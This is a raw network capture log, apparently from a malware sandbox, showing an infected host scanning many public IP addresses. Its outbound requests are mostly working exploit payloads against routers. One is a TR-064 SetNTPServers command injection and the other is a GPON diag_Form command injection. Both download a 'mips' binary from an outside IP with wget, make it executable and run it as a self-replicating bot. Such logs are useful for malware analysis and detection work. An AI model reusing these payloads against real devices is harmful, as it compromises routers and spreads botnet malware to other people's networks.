64 79 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 09 09 70 61 64 64 69 6e 67 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 2e 6d 61 69 6e 42 6f 64 79 20 7b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 09 09 7d 0a 09 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 33 70 78 20 73 6f 6c 69 64 20 23 65 37 33 61 32 37 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 65 6d 3b 0a 09 09 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 68 31 20 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 65 6d 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 73 70 61 6e 20 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 33 70 78 3b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 09 09 7d 0a 09 09 2e 66 6f 6f 74 65 72 20 69 20 7b 0a 09 09 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 09 7d 0a 09 09 2e 6e 6f 63 73 73 20 7b 0a 09 09 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 09 7d 0a 09 2d 2d 3e 0a 09 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 42 6f 64 79 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 09 09 09 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 6e 6f 63 73 73 27 3e 3c 62 72 20 2f 3e 3c 2f 73 70 61 6e 3e 3c 69 3e 54 68 69 73 20 6d 65 73 73 61 67 65 20 77 61 73 20 63 72 65 61 74 65 64 20 62 79 20 4b 65 72 69 6f 20 43 6f 6e 74 72 6f 6c 20 50 72 6f 78 79 3c 2f 69 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Forbidden</title><style type="text/css">...body {font-family: sans-serif;padding: 1em;}.mainBody {max-width: 600px;margin: auto;}.header {border-bottom: 3px solid #e73a27;line-height: 1.5em;padding-bottom: 1em;}h1 {color: #808080;font-size: 1.5em;line-height: 1em;}span {color: #000000;font-size: 1em;}.footer {text-align: right;padding-top: 3px;color: #808080;font-weight: bold;}.footer i {font-style: normal;}.nocss {display: none;}--></style></head><body><div class="mainBody"><div class="header"><h1>Forbidden</h1><span></span></div><div class="footer"><span class='nocss'><br /></span><i>This message was created by Kerio Control Proxy</i></div></div></body></html>
Apr 15, 2024 08:53:21.934736013 CEST	783	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.13	33548	97.120.212.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.623646021 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.13	49618	20.150.88.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.704277039 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.918190002 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:21 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.13	42842	64.59.106.89	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.705697060 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.921375036 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:21 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.13	36448	169.255.31.244	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.727049112 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.173749924 CEST	940	IN	HTTP/1.1 400 Bad Request Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 762 Date: Mon, 15 Apr 2024 06:53:21 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 39 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><hr class="line" /><h3>Apache Tomcat/8.5.93</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.13	49046	47.204.2.236	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.749201059 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.13	53758	99.254.156.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.752978086 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.13	53582	172.76.84.173	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.763326883 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.13	47746	59.147.122.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.788049936 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:22.049216986 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.13	47362	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.791646957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.13	59452	121.5.152.99	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.792541981 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.095067978 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:22 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.13	46662	115.84.252.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.803307056 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.116722107 CEST	464	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 14:53:20 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.13	43136	23.36.252.194	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.813410997 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
